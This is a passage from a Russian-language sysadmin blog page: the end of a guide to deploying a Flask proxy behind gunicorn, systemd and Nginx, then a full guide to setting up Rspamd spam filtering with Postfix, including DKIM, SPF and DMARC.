pip3 install gunicorn
gunicorn -w 2 -b 127.0.0.1:5000 app:app

Теперь добавим systemd-сервис:

sudo nano /etc/systemd/system/flask-proxy.service

[Unit]
Description=Flask Proxy Service
After=network.target

[Service]
User=root
WorkingDirectory=/root
ExecStart=/usr/bin/gunicorn -w 2 -b 127.0.0.1:5000 app:app
Restart=always

[Install]
WantedBy=multi-user.target

Активируем:

sudo systemctl daemon-reexec
sudo systemctl enable flask-proxy
sudo systemctl start flask-proxy

Проверяем:

sudo systemctl status flask-proxy

Шаг 4: Настройка Nginx

Теперь всё направим через Nginx. Устанавливаем:

sudo apt install nginx

Добавляем конфиг:

sudo nano /etc/nginx/sites-available/flask-proxy

server {
    listen 80;
    server_name your.domain.com;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

Активируем:

sudo ln -s /etc/nginx/sites-available/flask-proxy /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl reload nginx

Как я использую эту схему

Я запускала такую прокси-связку для:

• ретрансляции запросов к Telegram API, скрывая токен;
• добавления кэширования на уровне Flask + Redis;
• ограничения скорости и логирования через custom middleware.

Однажды это реально спасло прод — основной API упал, а я быстро подменила UPSTREAM_API в Flask на резервный адрес. Клиенты даже не заметили.

Примеры задач, где работает идеально:

Задача	Решается ретранслятором
Скрытие приватного API	Да
Кэширование на уровне запроса	Да
Добавление авторизации	Да
Балансировка нагрузки	Только через Nginx
Защита от DDoS	Лучше использовать Cloudflare

Что можно улучшить

• Подключить HTTPS через Let’s Encrypt — просто и бесплатно.
• Добавить Redis для кэша и ограничения частоты.
• Вынести конфиги в .env-файл — не жёстко хардкодить.

Источник: Community">%BLOGTITLE%. Все права защищены.

Защита почтового сервера от спама — одна из самых важных задач для любого администратора. Особенно, если вы настраиваете собственный mail-сервер на VPS. В этой статье я расскажу, как я внедрила мощную систему фильтрации спама с помощью Rspamd и Postfix, что учла по ходу настройки и какие нюансы могут подстерегать вас на практике.

Зачем нужен антиспам-фильтр?

Если у вас нет защиты, почтовый сервер моментально становится жертвой:

• рассылки спама с вашей стороны (если скомпрометирован аккаунт),
• приёма тысяч мусорных писем (если открыт вход),
• попадания в блэклисты, после чего письма вообще не доставляются.

Поэтому связка Postfix + Rspamd — это почти must-have. Особенно если вы хотите избежать сложностей со старыми решениями вроде SpamAssassin. Я пробовала оба варианта — разница в скорости, точности и гибкости просто колоссальная.

Почему Rspamd, а не SpamAssassin?

Что нужно для старта?

• VPS с Linux (у меня — Debian 12, подойдёт и Ubuntu 22.04)
• Установленный и настроенный Postfix (MTA)
• Доступ по SSH с root-доступом
• Желание копаться в конфигах

Установка Rspamd

Я ставила Rspamd из официальных репозиториев:

# Добавим репозиторий Rspamd
echo "deb [arch=amd64] http://rspamd.com/apt/debian bookworm main" | tee /etc/apt/sources.list.d/rspamd.list
curl -1sLf 'https://rspamd.com/apt-stable/gpg.key' | apt-key add -

# Установка
apt update && apt install rspamd redis-server -y

Rspamd будет использовать Redis для кэширования. Без него часть функций просто не работает — имейте в виду.

Интеграция Rspamd с Postfix

Самое интересное начинается, когда мы “вшиваем” Rspamd в поток почты. Вот основные изменения, которые нужно внести в /etc/postfix/main.cf:

smtpd_milters = inet:localhost:11332
non_smtpd_milters = $smtpd_milters
milter_default_action = accept
milter_protocol = 6

Теперь письма, проходящие через Postfix, будут анализироваться Rspamd до приёма.

Настройка Rspamd

Файлы конфигурации Rspamd находятся в /etc/rspamd/local.d/. Важные модули:

• dkim_signing.conf — для DKIM-подписей
• milter_headers.conf — управление заголовками
• surbl.conf и rbl.conf — для работы с блэклистами
• greylist.conf — серый список
• antivirus.conf — подключение ClamAV
• neural.conf — машинное обучение (!)

Советую включить Web-интерфейс, это очень помогает:

# Включение WebUI
nano /etc/rspamd/local.d/worker-controller.inc

bind_socket = "127.0.0.1:11334";
password = "$2$randomsalt$hash";
enable_password = true;

Затем перезапуск:

systemctl restart rspamd

Теперь по адресу http://127.0.0.1:11334 можно будет смотреть метрики, тренировать бейесовский фильтр и управлять конфигурацией.

Обучение антиспама

Rspamd может обучаться на письмах вручную. Я добавила в Roundcube возможность пометки письма как “спам” и “не спам”, и настроила rspamc для отправки образцов:

rspamc learn_spam < spam.eml
rspamc learn_ham < notspam.eml

Важно делать это регулярно, особенно в первое время — тогда фильтр начнёт работать как надо.

DKIM, SPF и DMARC

Антиспам — это не только фильтрация входящих, но и защита репутации отправляемых писем.

• Для DKIM я использовала встроенный модуль Rspamd (dkim_signing.conf).
• SPF и DMARC настроены через DNS-записи.
• Можно добавить отчёты DMARC на почту и мониторить доменную репутацию.

Возможные ошибки

• Не работает веб-интерфейс? Проверь worker-controller.inc, правильный порт, нет ли firewall’а.
• Письма не проходят? Возможно, слишком агрессивные настройки (например, выставлен reject вместо add header).
• Rspamd не запускается? Логи в journalctl -u rspamd помогут понять, что не так.

Мой итог

Я протестировала связку Rspamd + Postfix на 3 VPS — работает стабильно. Ловит 95% спама, ложно положительных почти нет. Интерфейс понятный, управление гибкое, можно кастомизировать под любые нужды.

Если раньше я мучилась с настройками SpamAssassin и Amavis, то теперь честно не понимаю, зачем тратить время — Rspamd реально лучше.

Источник: Community">%BLOGTITLE%. Все права защищены.